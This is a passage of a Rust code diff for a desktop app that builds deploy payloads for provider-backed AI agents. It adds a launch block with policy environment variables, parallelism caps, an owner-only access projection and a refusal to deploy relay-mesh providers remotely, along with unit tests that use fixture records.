+    fn record(backend: BackendKind, backend_agent_id: Option<&str>) -> ManagedAgentRecord {
+        let mut record: ManagedAgentRecord = serde_json::from_value(serde_json::json!({
+            "pubkey": "agent", "name": "Agent", "relay_url": "", "acp_command": "",
+            "agent_command": "", "agent_args": [], "mcp_command": "",
+            "turn_timeout_seconds": 0, "system_prompt": null, "created_at": "",
+            "updated_at": "", "last_started_at": null, "last_stopped_at": null,
+            "last_exit_code": null, "last_error": null
+        }))
+        .unwrap();
+        record.backend = backend;
+        record.backend_agent_id = backend_agent_id.map(str::to_string);
+        record
+    }
+
+    #[test]
+    fn upgrade_collects_existing_provider_and_builds_projected_payload() {
+        let records = vec![
+            record(
+                BackendKind::Provider {
+                    id: "provider".into(),
+                    config: serde_json::json!({"region": "test"}),
+                },
+                Some("existing"),
+            ),
+            record(
+                BackendKind::Provider {
+                    id: "not-deployed".into(),
+                    config: serde_json::json!({}),
+                },
+                None,
+            ),
+            record(BackendKind::Local, Some("stale")),
+        ];
+
+        let targets = collect_targets_with(records, true, |_| {
+            Ok(serde_json::json!({"respond_to": "owner-only"}))
+        });
+
+        assert_eq!(targets.len(), 1);
+        assert_eq!(targets[0].pubkey, "agent");
+        assert_eq!(targets[0].provider_id, "provider");
+        assert_eq!(targets[0].config["region"], "test");
+        assert_eq!(
+            targets[0].agent_json.as_ref().unwrap()["respond_to"],
+            "owner-only"
+        );
+    }
+
+    #[test]
+    fn unmarked_build_collects_no_upgrade_targets() {
+        let records = vec![record(
+            BackendKind::Provider {
+                id: "provider".into(),
+                config: serde_json::json!({}),
+            },
+            Some("existing"),
+        )];
+
+        assert!(
+            collect_targets_with(records, false, |_| { Ok(serde_json::Value::Null) }).is_empty()
+        );
+    }
+}
diff --git a/desktop/src-tauri/src/commands/agents_deploy.rs b/desktop/src-tauri/src/commands/agents_deploy.rs
index af785711d5..47ee5f92d4 100644
--- a/desktop/src-tauri/src/commands/agents_deploy.rs
+++ b/desktop/src-tauri/src/commands/agents_deploy.rs
@@ -1,6 +1,8 @@
 //! Provider deploy payload construction, split from `agents.rs` (file-size
-//! guard). `build_deploy_payload` gathers live state; `deploy_payload_json`
-//! is the pure serialization half so payload completeness stays testable.
+//! guard). The launch block is derived from the same effective descriptor and
+//! policy helpers as local spawn so remote execution does not reimplement them.
+
+use std::collections::BTreeMap;
 
 use tauri::AppHandle;
 
@@ -12,18 +14,21 @@ use crate::{
     relay::relay_ws_url_with_override,
 };
 
+/// Effective projection fields for the deploy payload — all derived from the
+/// resolved descriptor and effective config so that the serialised payload and
+/// the `launch` block are always internally consistent.
+pub(super) struct DeployProjections {
+    pub effective_model: Option<String>,
+    pub effective_provider: Option<String>,
+    pub effective_prompt: Option<String>,
+    /// Effective parallelism derived from the same resolved `descriptor.command`
+    /// as `launch.policy_env["BUZZ_ACP_AGENTS"]`.
+    pub effective_parallelism: u32,
+    /// Access fields projected from the same build policy that gates local starts.
+    pub owner_only_access: bool,
+}
+
 /// Resolve the deploy-specific structured model/provider for a managed agent.
-///
-/// Delegates to the single effective-config resolver which enforces
-/// definition-authoritative semantics for linked instances:
-///   - **Linked:** definition → global. Stale record bytes are never consulted.
-///   - **Definition-less:** instance → global.
-///   - **Orphaned:** returns `(None, None)` — spawn is blocked elsewhere.
-///
-/// Both local spawn and deploy now use the same resolver, so they can never
-/// disagree on what model/provider an agent runs with.
-///
-/// Exported `pub(crate)` for unit testing.
 #[cfg(test)]
 pub(crate) fn resolve_deploy_model_provider(
     record: &ManagedAgentRecord,
@@ -36,58 +41,125 @@ pub(crate) fn resolve_deploy_model_provider(
     .unwrap_or((None, None))
 }
 
-/// Build the standard agent JSON payload for provider deploy calls.
+/// Serialize the portable launch contract shared with provider-backed agents.
 ///
-/// Like local spawn, provider deploy re-reads live persona env vars and
-/// structured model/provider so remote agents receive current credentials
-/// and the same authoritative values that local spawn derives from
-/// `runtime_metadata_env_vars`. The only field still pinned is
-/// `agent_command`/`agent_args` — those were captured at create time.
-/// The only read-time resolution is `relay_url`: a blank pin resolves to
-/// the active workspace relay here, matching the create-path contract.
-///
-/// Fails closed when the private key is unavailable (keyring outage leaves
-/// it empty after hydration): without this guard a provider deploy would
-/// serialize `"private_key_nsec": ""` and launch the agent with no
-/// identity — the same hazard the local spawn path refuses via
-/// `spawn_key_refusal`.
+/// `descriptor.env` is the authoritative six-layer environment. Policy values
+/// are deliberately separate because providers apply them below that layered
+/// environment, preserving the local spawn's power-user override semantics.
+pub(super) fn build_launch_block(
+    record: &ManagedAgentRecord,
+    descriptor: &crate::managed_agents::readiness::EffectiveHarnessDescriptor,
+    teams: &[crate::managed_agents::TeamRecord],
+    effective_prompt: Option<&str>,
+    effective_model: Option<&str>,
+    owner_pubkey: &str,
+) -> serde_json::Value {
+    use crate::managed_agents::{
+        known_acp_runtime, resolve_session_title, DISPLAY_NAME_ENV_VAR, SESSION_TITLE_ENV_VAR,
+    };
+
+    let runtime = known_acp_runtime(&descriptor.command);
+    let mut policy_env = BTreeMap::new();
+
+    if let Some(runtime) = runtime {
+        policy_env.extend(
+            runtime
+                .default_env
+                .iter()
+                .map(|(key, value)| ((*key).to_string(), (*value).to_string())),
+        );
+        if runtime.mcp_hooks {
+            policy_env.insert("MCP_HOOK_SERVERS".into(), "*".into());
+        }
+    }
+    policy_env.insert("BUZZ_ACP_RELAY_OBSERVER".into(), "true".into());
+    policy_env.insert("BUZZ_ACP_LAZY_POOL".into(), "true".into());
+    policy_env.insert(
+        "BUZZ_ACP_AGENTS".into(),
+        crate::managed_agents::acp_agents_value(&descriptor.command, record.parallelism),
+    );
+
+    if let Some(value) = effective_prompt {
+        policy_env.insert("BUZZ_ACP_SYSTEM_PROMPT".into(), value.to_string());
+    }
+    if let Some(value) = effective_model {
+        policy_env.insert("BUZZ_ACP_MODEL".into(), value.to_string());
+    }
+    if let Some(value) = record.idle_timeout_seconds {
+        policy_env.insert("BUZZ_ACP_IDLE_TIMEOUT".into(), value.to_string());
+    }
+    if let Some(value) = record.max_turn_duration_seconds {
+        policy_env.insert("BUZZ_ACP_MAX_TURN_DURATION".into(), value.to_string());
+    }
+    if let Some(value) = resolve_session_title(record.display_name.as_deref(), &record.name) {
+        policy_env.insert(SESSION_TITLE_ENV_VAR.into(), value.clone());
+        policy_env.insert(DISPLAY_NAME_ENV_VAR.into(), value);
+    }
+    if let Some(value) =
+        crate::managed_agents::spawn_snapshot::effective_team_instructions(record, teams)
+    {
+        policy_env.insert("BUZZ_ACP_TEAM_INSTRUCTIONS".into(), value);
+    }
+
+    serde_json::json!({
+        "command": descriptor.command,
+        "args": descriptor.args,
+        "env": descriptor.env,
+        "policy_env": policy_env,
+        "owner_pubkey": owner_pubkey,
+    })
+}
+
+pub(super) fn ensure_remote_provider_supported(provider: Option<&str>) -> Result<(), String> {
+    if provider.map(str::trim) == Some(crate::managed_agents::RELAY_MESH_PROVIDER_ID) {
+        return Err(
+            "shared-compute agents cannot be deployed remotely because the mesh endpoint is local to the desktop"
+                .to_string(),
+        );
+    }
+    Ok(())
+}
+
+/// Build the standard agent JSON payload for provider deploy calls.
 pub(super) fn build_deploy_payload(
     app: &AppHandle,
     state: &AppState,
     record: &ManagedAgentRecord,
 ) -> Result<serde_json::Value, String> {
-    // Fails closed when the private key is unavailable — same guard as local
-    // spawn. Without this, a keyring outage would serialize `"private_key_nsec": ""`
-    // and launch the agent with no identity.
     if let Some(err) = crate::managed_agents::spawn_key_refusal(record) {
         return Err(err);
     }
 
-    // Merge global + persona + agent env_vars for provider deploy — the same
-    // live-persona-under-overrides semantics as local spawn. Global env vars
-    // are the lowest user-settable layer: global < persona < agent (last-wins
-    // on key collision). Without this, provider-backed agents wouldn't receive
-    // credentials saved on the persona or the agent itself.
-    let global_config = crate::managed_agents::load_global_agent_config(app).unwrap_or_default();
-    let global_env = global_config.env_vars.clone();
-    let persona_env =
-        crate::managed_agents::resolve_persona_env(app, record.persona_id.as_deref())?;
-    // Merge: global < persona (persona wins over global).
-    let global_persona_merged = crate::managed_agents::merged_user_env(&global_env, &persona_env);
-    // Merge: global+persona < agent (agent wins over everything).
-    let merged_env =
-        crate::managed_agents::merged_user_env(&global_persona_merged, &record.env_vars);
-
+    let global = crate::managed_agents::load_global_agent_config(app).unwrap_or_default();
     let personas = load_personas(app).unwrap_or_default();
-    let cfg = crate::managed_agents::effective_config::resolve_effective_config(
-        record,
-        &personas,
-        &global_config,
+    let teams = crate::managed_agents::load_teams(app).unwrap_or_default();
+    let persona_env =
+        crate::managed_agents::live_persona_env(&personas, record.persona_id.as_deref());
+    let global_persona_env = crate::managed_agents::merged_user_env(&global.env_vars, &persona_env);
+    let merged_user_env =
+        crate::managed_agents::merged_user_env(&global_persona_env, &record.env_vars);
+    let effective = crate::managed_agents::effective_config::resolve_effective_config(
+        record, &personas, &global,
     )
     .require_resolved()?;
-    let effective_model = cfg.model.value;
-    let effective_provider = cfg.provider.value;
-    let effective_prompt = cfg.system_prompt.value;
+
+    ensure_remote_provider_supported(effective.provider.value.as_deref())?;
+
+    let descriptor =
+        crate::managed_agents::resolve_effective_harness_descriptor(record, &personas, &global)
+            .map_err(|error| crate::managed_agents::user_facing_harness_error(&error))?;
+    let owner_pubkey = super::workspace_owner_hex(state)?;
+    let launch = build_launch_block(
+        record,
+        &descriptor,
+        &teams,
+        effective.system_prompt.value.as_deref(),
+        effective.model.value.as_deref(),
+        &owner_pubkey,
+    );
+
+    let effective_parallelism =
+        crate::managed_agents::effective_parallelism(&descriptor.command, record.parallelism);
 
     Ok(deploy_payload_json(
         record,
@@ -95,24 +167,32 @@ pub(super) fn build_deploy_payload(
             &record.relay_url,
             &relay_ws_url_with_override(state),
         ),
-        effective_model,
-        effective_provider,
-        effective_prompt,
-        merged_env,
+        DeployProjections {
+            effective_model: effective.model.value,
+            effective_provider: effective.provider.value,
+            effective_prompt: effective.system_prompt.value,
+            effective_parallelism,
+            owner_only_access: crate::managed_agents::owner_only_access_build(),
+        },
+        merged_user_env,
+        launch,
     ))
 }
 
-/// Pure serialization half of [`build_deploy_payload`] — every field the
-/// provider harness receives is deliberately listed here, so payload
-/// completeness is testable without an `AppHandle`.
+/// Pure serialization half of [`build_deploy_payload`]. Legacy top-level fields
+/// remain for display/bookkeeping; providers execute the resolved `launch` block.
+/// `projections.effective_parallelism` is pre-computed from the same resolved
+/// descriptor as `launch.policy_env["BUZZ_ACP_AGENTS"]`. Access is projected from
+/// the same compiled policy that gates local starts.
 pub(super) fn deploy_payload_json(
     record: &ManagedAgentRecord,
     relay_url: String,
-    effective_model: Option<String>,
-    effective_provider: Option<String>,
-    effective_prompt: Option<String>,
-    merged_env: std::collections::BTreeMap<String, String>,
+    projections: DeployProjections,
+    merged_env: BTreeMap<String, String>,
+    launch: serde_json::Value,
 ) -> serde_json::Value {
+    let (respond_to, respond_to_allowlist) =
+        crate::managed_agents::projected_access_with_policy(record, projections.owner_only_access);
     serde_json::json!({
         "name": &record.name,
         "relay_url": relay_url,
@@ -120,15 +200,279 @@ pub(super) fn deploy_payload_json(
         "auth_tag": &record.auth_tag,
         "agent_command": &record.agent_command,
         "agent_args": &record.agent_args,
-        "system_prompt": effective_prompt,
-        "model": effective_model,
-        "provider": effective_provider,
+        "system_prompt": projections.effective_prompt,
+        "model": projections.effective_model,
+        "provider": projections.effective_provider,
         "turn_timeout_seconds": record.turn_timeout_seconds,
         "idle_timeout_seconds": record.idle_timeout_seconds,
         "max_turn_duration_seconds": record.max_turn_duration_seconds,
-        "parallelism": record.parallelism,
-        "respond_to": record.respond_to,
-        "respond_to_allowlist": &record.respond_to_allowlist,
+        // Legacy top-level field: projected from the same resolved descriptor as
+        // launch.policy_env["BUZZ_ACP_AGENTS"] — the two are always consistent.
+        "parallelism": projections.effective_parallelism,
+        "respond_to": respond_to,
+        "respond_to_allowlist": respond_to_allowlist,
         "env_vars": merged_env,
+        "launch": launch,
     })
 }
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use crate::managed_agents::{readiness::EffectiveHarnessDescriptor, RespondTo, TeamRecord};
+
+    fn record() -> ManagedAgentRecord {
+        serde_json::from_value(serde_json::json!({
+            "pubkey": "abcd1234",
+            "name": "agent-handle",
+            "display_name": "Agent\u{0000} Name",
+            "private_key_nsec": "nsec1fake",
+            "relay_url": "wss://relay.example",
+            "acp_command": "buzz-acp",
+            "agent_command": "goose",
+            "agent_args": [],
+            "mcp_command": "",
+            "turn_timeout_seconds": 320,
+            "idle_timeout_seconds": 17,
+            "max_turn_duration_seconds": 23,
+            "parallelism": 4,
+            "respond_to": RespondTo::OwnerOnly,
+            "respond_to_allowlist": [],
+            "team_id": "team-1",
+            "created_at": "2026-01-01T00:00:00Z",
+            "updated_at": "2026-01-01T00:00:00Z"
+        }))
+        .unwrap()
+    }
+
+    #[test]
+    fn launch_block_preserves_descriptor_and_spawn_policy() {
+        let record = record();
+        let descriptor = EffectiveHarnessDescriptor {
+            command: "goose".into(),
+            args: vec!["acp".into()],
+            env: BTreeMap::from([
+                ("GOOSE_MODE".into(), "custom".into()),
+                ("SECRET_FROM_PERSONA".into(), "secret".into()),
+            ]),
+        };
+        let teams: Vec<TeamRecord> = serde_json::from_value(serde_json::json!([{
+            "id": "team-1", "name": "Team", "instructions": "Coordinate", "persona_ids": [], "created_at": "2026-01-01T00:00:00Z", "updated_at": "2026-01-01T00:00:00Z"
+        }])).unwrap();
+
+        let launch = build_launch_block(
+            &record,
+            &descriptor,
+            &teams,
+            Some("prompt"),
+            Some("model"),
+            "owner-hex",
+        );
+
+        assert_eq!(launch["command"], "goose");
+        assert_eq!(launch["args"], serde_json::json!(["acp"]));
+        assert_eq!(launch["env"]["GOOSE_MODE"], "custom");
+        // policy_env is applied first, so this default remains separate from
+        // the descriptor value that wins in launch.env.
+        assert_eq!(launch["policy_env"]["GOOSE_MODE"], "auto");
+        assert_eq!(launch["policy_env"]["BUZZ_ACP_LAZY_POOL"], "true");
+        assert_eq!(launch["policy_env"]["BUZZ_ACP_RELAY_OBSERVER"], "true");
+        assert_eq!(
+            launch["policy_env"]["BUZZ_ACP_TEAM_INSTRUCTIONS"],
+            "Coordinate"
+        );
+        assert_eq!(launch["policy_env"]["BUZZ_ACP_SESSION_TITLE"], "Agent Name");
+        assert_eq!(launch["policy_env"]["BUZZ_ACP_DISPLAY_NAME"], "Agent Name");
+        assert_eq!(launch["policy_env"]["BUZZ_ACP_SYSTEM_PROMPT"], "prompt");
+        assert_eq!(launch["policy_env"]["BUZZ_ACP_MODEL"], "model");
+        assert_eq!(launch["policy_env"]["BUZZ_ACP_IDLE_TIMEOUT"], "17");
+        assert_eq!(launch["policy_env"]["BUZZ_ACP_MAX_TURN_DURATION"], "23");
+        assert_eq!(launch["policy_env"]["BUZZ_ACP_AGENTS"], "4");
+        assert_eq!(launch["owner_pubkey"], "owner-hex");
+    }
+
+    /// OpenClaw descriptor: `launch.policy_env["BUZZ_ACP_AGENTS"]` must be "5"
+    /// even when the record's requested parallelism is 10. This is the direct
+    /// `launch.policy_env` seam test — the executable contract for remote providers.
+    #[test]
+    fn launch_block_openclaw_over_cap_policy_env_is_capped() {
+        let mut record = record();
+        record.agent_command = "openclaw".into();
+        record.parallelism = 10; // above the OpenClaw spawn-time cap
+        let descriptor = EffectiveHarnessDescriptor {
+            command: "openclaw".into(),
+            args: vec![],
+            env: BTreeMap::new(),
+        };
+
+        let launch = build_launch_block(&record, &descriptor, &[], None, None, "owner-hex");
+
+        assert_eq!(
+            launch["policy_env"]["BUZZ_ACP_AGENTS"],
+            crate::managed_agents::parallelism::OPENCLAW_MAX_PARALLELISM.to_string(),
+            "launch.policy_env[BUZZ_ACP_AGENTS] must be capped at {} for OpenClaw, not 10",
+            crate::managed_agents::parallelism::OPENCLAW_MAX_PARALLELISM
+        );
+    }
+
+    /// Uncapped harness (goose): `launch.policy_env["BUZZ_ACP_AGENTS"]` passes
+    /// the requested value through unchanged.
+    #[test]
+    fn launch_block_goose_policy_env_is_not_capped() {
+        let mut record = record();
+        record.parallelism = 8;
+        let descriptor = EffectiveHarnessDescriptor {
+            command: "goose".into(),
+            args: vec![],
+            env: BTreeMap::new(),
+        };
+
+        let launch = build_launch_block(&record, &descriptor, &[], None, None, "owner-hex");
+
+        assert_eq!(
+            launch["policy_env"]["BUZZ_ACP_AGENTS"], "8",
+            "goose: policy_env[BUZZ_ACP_AGENTS] must pass through requested value 8"
+        );
+    }
+
+    /// deploy_payload_json: legacy top-level `parallelism` is the effective value
+    /// derived from the descriptor, not `record.agent_command`.
+    ///
+    /// Stale-persona scenario: `record.agent_command` is "goose" (created before
+    /// the user switched the persona to OpenClaw), but the live descriptor resolves
+    /// OpenClaw. Both `launch.policy_env["BUZZ_ACP_AGENTS"]` and the legacy
+    /// top-level `parallelism` must be the effective OpenClaw value (5), not the
+    /// record's stale Goose identity (requested 10).
+    #[test]
+    fn deploy_payload_json_stale_goose_record_live_openclaw_descriptor_both_capped() {
+        let mut record = record();
+        // Stale agent_command from record creation — persona has since switched to OpenClaw.
+        record.agent_command = "goose".into();
+        record.parallelism = 10;
+        // Resolved descriptor reflects the live persona (OpenClaw).
+        let descriptor = EffectiveHarnessDescriptor {
+            command: "openclaw".into(),
+            args: vec![],
+            env: BTreeMap::new(),
+        };
+        let cap = crate::managed_agents::parallelism::OPENCLAW_MAX_PARALLELISM;
+
+        let launch = build_launch_block(&record, &descriptor, &[], None, None, "owner-hex");
+        let effective_parallelism =
+            crate::managed_agents::effective_parallelism(&descriptor.command, record.parallelism);
+        let payload = deploy_payload_json(
+            &record,
+            "wss://relay.example".to_string(),
+            DeployProjections {
+                effective_model: None,
+                effective_provider: None,
+                effective_prompt: None,
+                effective_parallelism,
+                owner_only_access: false,
+            },
+            BTreeMap::new(),
+            launch.clone(),
+        );
+
+        assert_eq!(
+            launch["policy_env"]["BUZZ_ACP_AGENTS"],
+            cap.to_string(),
+            "launch.policy_env[BUZZ_ACP_AGENTS] must be capped at {cap} for live OpenClaw descriptor"
+        );
+        assert_eq!(
+            payload["parallelism"], cap,
+            "legacy top-level parallelism must match launch.policy_env — both must be {cap}"
+        );
+    }
+
+    /// Inverse stale-persona scenario: `record.agent_command` is "openclaw"
+    /// (created before the user switched the persona to Goose), but the live
+    /// descriptor resolves Goose. Both projections must be the uncapped requested
+    /// value (4), not the old OpenClaw cap.
+    #[test]
+    fn deploy_payload_json_stale_openclaw_record_live_goose_descriptor_both_uncapped() {
+        let mut record = record();
+        // Stale agent_command from record creation — persona has since switched to Goose.
+        record.agent_command = "openclaw".into();
+        record.parallelism = 4;
+        // Resolved descriptor reflects the live persona (Goose).
+        let descriptor = EffectiveHarnessDescriptor {
+            command: "goose".into(),
+            args: vec![],
+            env: BTreeMap::new(),
+        };
+
+        let launch = build_launch_block(&record, &descriptor, &[], None, None, "owner-hex");
+        let effective_parallelism =
+            crate::managed_agents::effective_parallelism(&descriptor.command, record.parallelism);
+        let payload = deploy_payload_json(
+            &record,
+            "wss://relay.example".to_string(),
+            DeployProjections {
+                effective_model: None,
+                effective_provider: None,
+                effective_prompt: None,
+                effective_parallelism,
+                owner_only_access: false,
+            },
+            BTreeMap::new(),
+            launch.clone(),
+        );
+
+        assert_eq!(
+            launch["policy_env"]["BUZZ_ACP_AGENTS"],
+            "4",
+            "launch.policy_env[BUZZ_ACP_AGENTS] must pass through requested 4 for live Goose descriptor"
+        );
+        assert_eq!(
+            payload["parallelism"], 4,
+            "legacy top-level parallelism must match launch.policy_env — both must be 4 (uncapped)"
+        );
+    }
+
+    /// Explicit agent_command_override direction: record has an explicit override
+    /// pinning OpenClaw while the persona default is Goose. The override wins
+    /// via the descriptor — both projections must be capped at the OpenClaw limit.
+    #[test]
+    fn deploy_payload_json_explicit_openclaw_override_both_capped() {
+        let mut record = record();
+        // Explicit override: user pinned OpenClaw on this agent.
+        record.agent_command_override = Some("openclaw".into());
+        record.agent_command = "goose".into(); // persona default, overridden
+        record.parallelism = 10;
+        // Descriptor reflects the resolved override (OpenClaw wins).
+        let descriptor = EffectiveHarnessDescriptor {
+            command: "openclaw".into(),
+            args: vec![],
+            env: BTreeMap::new(),
+        };
+        let cap = crate::managed_agents::parallelism::OPENCLAW_MAX_PARALLELISM;
+
+        let launch = build_launch_block(&record, &descriptor, &[], None, None, "owner-hex");
+        let effective_parallelism =
+            crate::managed_agents::effective_parallelism(&descriptor.command, record.parallelism);
+        let payload = deploy_payload_json(
+            &record,
+            "wss://relay.example".to_string(),
+            DeployProjections {
+                effective_model: None,
+                effective_provider: None,
+                effective_prompt: None,
+                effective_parallelism,
+                owner_only_access: false,
+            },
+            BTreeMap::new(),
+            launch.clone(),
+        );
+
+        assert_eq!(
+            launch["policy_env"]["BUZZ_ACP_AGENTS"],
+            cap.to_string(),
+            "launch.policy_env[BUZZ_ACP_AGENTS] must be {cap} for explicit OpenClaw override"
+        );
+        assert_eq!(
+            payload["parallelism"], cap,
+            "legacy top-level parallelism must match launch.policy_env — both must be {cap}"
+        );
+    }
+}
diff --git a/desktop/src-tauri/src/commands/agents_tests.rs b/desktop/src-tauri/src/commands/agents_tests.rs
index 03389d1d18..54a03e2bab 100644
--- a/desktop/src-tauri/src/commands/agents_tests.rs
+++ b/desktop/src-tauri/src/commands/agents_tests.rs
@@ -263,6 +263,19 @@ fn normalize_relay_mesh_trims_and_preserves_valid_config() {
     );
 }
 
+#[test]
+fn deploy_refuses_resolved_relay_mesh_provider_with_padding() {
+    let record = bare_agent_record(Some("p1"), None, None);
+    let personas = vec![persona_record("p1", None, Some("  relay-mesh  "))];
+    let global = crate::managed_agents::GlobalAgentConfig::default();
+
+    let (_, provider) = resolve_deploy_model_provider(&record, &personas, &global);
+    let error = ensure_remote_provider_supported(provider.as_deref())
+        .expect_err("resolved shared-compute provider must not deploy remotely");
+
+    assert!(error.contains("cannot be deployed remotely"), "{error}");
+}
+
 #[test]
 fn created_avatar_prefers_explicit_input() {
     let resolved = resolve_created_avatar_url(
@@ -398,50 +411,248 @@ fn legacy_avatar_empty_when_nothing_resolves() {
 
 // ── Provider deploy payload completeness ─────────────────────────────────────
 
-/// Regression (PR #1667 review, Thufir): the provider deploy payload must
-/// carry every behavioral field the local spawn path applies — a field
-/// missing here silently strips it from provider-backed agents.
+fn deploy_payload_for_policy(
+    record: &ManagedAgentRecord,
+    owner_only_access: bool,
+) -> serde_json::Value {
+    deploy_payload_json(
+        record,
+        "wss://relay.example".to_string(),
+        DeployProjections {
+            effective_model: Some("gpt-x".to_string()),
+            effective_provider: Some("openai".to_string()),
+            effective_prompt: None,
+            effective_parallelism: record.parallelism,
+            owner_only_access,
+        },
+        std::collections::BTreeMap::new(),
+        // Access projection is the subject here; the launch block is exercised
+        // by the shared provider fixture test below.
+        serde_json::Value::Null,
+    )
+}
+
+/// The shared provider fixture is the contract arbiter: it must be the exact
+/// richest deploy request produced by the real desktop serializers.
 #[test]
-fn deploy_payload_carries_the_full_behavioral_quad() {
-    let allow = "a".repeat(64);
-    let record: ManagedAgentRecord = serde_json::from_str(&format!(
-        r#"{{
-            "pubkey": "abcd1234",
-            "name": "test-agent",
-            "private_key_nsec": "nsec1fake",
-            "relay_url": "wss://localhost:3000",
-            "acp_command": "buzz-acp",
-            "agent_command": "goose",
-            "agent_args": [],
-            "mcp_command": "",
-            "turn_timeout_seconds": 320,
-            "system_prompt": null,
-            "parallelism": 4,
-            "respond_to": "allowlist",
-            "respond_to_allowlist": ["{allow}"],
-            "created_at": "2026-01-01T00:00:00Z",
-            "updated_at": "2026-01-01T00:00:00Z",
-            "last_started_at": null,
-            "last_stopped_at": null,
-            "last_exit_code": null,
-            "last_error": null
-        }}"#
-    ))
-    .expect("sample record");
+fn deploy_payload_matches_the_shared_full_launch_fixture() {
+    let fixture_path = std::path::Path::new(env!("CARGO_MANIFEST_DIR")).join(
+        "../../crates/buzz-backend-kubernetes/tests/fixtures/provider-wire/deploy-full-launch.request.json",
+    );
+    let fixture: serde_json::Value = serde_json::from_str(
+        &std::fs::read_to_string(&fixture_path)
+            .unwrap_or_else(|error| panic!("read {}: {error}", fixture_path.display())),
+    )
+    .expect("parse shared provider fixture");
+    let record: ManagedAgentRecord = serde_json::from_value(serde_json::json!({
+        "pubkey": "abcd1234",
+        "name": "worker",
+        "private_key_nsec": "nsec1vl029mgpspedva04g90vltkh6fvh240zqtv9k0t9af8935ke9laqsnlfe5",
+        "relay_url": "wss://localhost:3000",
+        "auth_tag": "tag-1",
+        "acp_command": "buzz-acp",
+        "agent_command": "goose",
+        "runtime": "goose",
+        "model": "gpt-5",
+        "provider": "openai",
+        "env_vars": {"USER_KEY": "user-value"},
+        "agent_args": [],
+        "mcp_command": "",
+        "turn_timeout_seconds": 300,
+        "system_prompt": null,
+        "idle_timeout_seconds": null,
+        "max_turn_duration_seconds": null,
+        "parallelism": 10,
+        "respond_to": "allowlist",
+        "respond_to_allowlist": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb"],
+        "created_at": "2026-01-01T00:00:00Z",
+        "updated_at": "2026-01-01T00:00:00Z"
+    }))
+    .expect("fixture source record");
+    let descriptor = crate::managed_agents::resolve_effective_harness_descriptor(
+        &record,
+        &[],
+        &crate::managed_agents::GlobalAgentConfig::default(),
+    )
+    .expect("resolve fixture source record descriptor");
+    let launch = super::deploy::build_launch_block(
+        &record,
+        &descriptor,
+        &[],
+        None,
+        Some("gpt-5"),
+        "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
+    );
+    let agent = deploy_payload_json(
+        &record,
+        "wss://relay.example".into(),
+        DeployProjections {
+            effective_model: Some("gpt-5".into()),
+            effective_provider: Some("openai".into()),
+            effective_prompt: None,
+            effective_parallelism: crate::managed_agents::effective_parallelism(
+                &descriptor.command,
+                record.parallelism,
+            ),
+            // Fixture asserts the record's own access fields survive.
+            owner_only_access: false,
+        },
+        std::collections::BTreeMap::from([("USER_KEY".into(), "user-value".into())]),
+        launch,
+    );
+
+    assert_eq!(
+        agent, fixture["agent"],
+        "desktop payload drifted from the shared provider fixture"
+    );
+}
+
+#[test]
+fn tauri_platform_configs_bundle_kubernetes_only_on_supported_hosts() {
+    use tauri_utils::{config::parse::read_from, platform::Target};
+
+    let config_root = std::path::Path::new(env!("CARGO_MANIFEST_DIR"));
+    for (target, expected) in [
+        (Target::MacOS, true),
+        (Target::Linux, true),
+        (Target::Windows, false),
+    ] {
+        let (config, paths) = read_from(target, config_root).expect("read Tauri config");
+        let external_bins = config["bundle"]["externalBin"]
+            .as_array()
+            .expect("bundle.externalBin array");
+        let has_kubernetes = external_bins
+            .iter()
+            .any(|value| value == "binaries/buzz-backend-kubernetes");
+        assert_eq!(
+            has_kubernetes, expected,
+            "unexpected Kubernetes externalBin for {target}; merged {paths:?}"
+        );
+    }
+}
+
+#[test]
+fn current_build_deploy_payload_forwards_compiled_policy() {
+    use crate::managed_agents::{BackendKind, RespondTo};
+
+    let expected_owner_only = match std::env::var("BUZZ_TEST_EXPECTED_AGENT_ACCESS_OWNER_ONLY") {
+        Ok(value) => value
+            .parse::<bool>()
+            .expect("BUZZ_TEST_EXPECTED_AGENT_ACCESS_OWNER_ONLY must be true or false"),
+        Err(std::env::VarError::NotPresent)
+            if !crate::managed_agents::owner_only_access_build() =>
+        {
+            false
+        }
+        Err(std::env::VarError::NotPresent) => {
+            panic!(
+                "BUZZ_TEST_EXPECTED_AGENT_ACCESS_OWNER_ONLY must be set for owner-only-access-build tests"
+            )
+        }
+        Err(std::env::VarError::NotUnicode(_)) => {
+            panic!("BUZZ_TEST_EXPECTED_AGENT_ACCESS_OWNER_ONLY must be valid UTF-8")
+        }
+    };
+    let mut record = bare_agent_record(None, None, None);
+    record.backend = BackendKind::Provider {
+        id: "provider".to_string(),
+        config: serde_json::json!({}),
+    };
+    record.respond_to = RespondTo::Anyone;
+    record.respond_to_allowlist = vec!["a".repeat(64)];
 
     let payload = deploy_payload_json(
         &record,
         "wss://relay.example".to_string(),
-        Some("gpt-x".to_string()),
-        Some("openai".to_string()),
-        None,
+        DeployProjections {
+            effective_model: None,
+            effective_provider: None,
+            effective_prompt: None,
+            effective_parallelism: record.parallelism,
+            owner_only_access: crate::managed_agents::owner_only_access_build(),
+        },
         std::collections::BTreeMap::new(),
+        // The compiled access policy is the subject here; the launch block is
+        // exercised by the shared provider fixture test above.
+        serde_json::Value::Null,
+    );
+    let expected_mode = if expected_owner_only {
+        "owner-only"
+    } else {
+        "anyone"
+    };
+
+    assert_eq!(
+        payload["respond_to"], expected_mode,
+        "current-build deploy payload did not forward the compiled policy",
     );
+    let expected_allowlist = if expected_owner_only {
+        serde_json::json!([])
+    } else {
+        serde_json::json!(["a".repeat(64)])
+    };
+    assert_eq!(
+        payload["respond_to_allowlist"], expected_allowlist,
+        "current-build deploy payload did not apply the compiled policy to the stale allowlist",
+    );
+}
+
+#[test]
+fn provider_upgrade_reconciliation_targets_existing_deployments_only_in_marked_builds() {
+    use crate::managed_agents::BackendKind;
+
+    let mut record = bare_agent_record(None, None, None);
+    record.backend = BackendKind::Provider {
+        id: "provider".to_string(),
+        config: serde_json::json!({}),
+    };
+    record.backend_agent_id = Some("existing-provider-agent".to_string());
+    record.respond_to = crate::managed_agents::RespondTo::Anyone;
+    record.respond_to_allowlist = vec!["a".repeat(64)];
+
+    assert!(provider_access::needs_reconciliation_with_policy(
+        &record, true
+    ));
+    let payload = deploy_payload_for_policy(&record, true);
+    assert_eq!(payload["respond_to"], "owner-only");
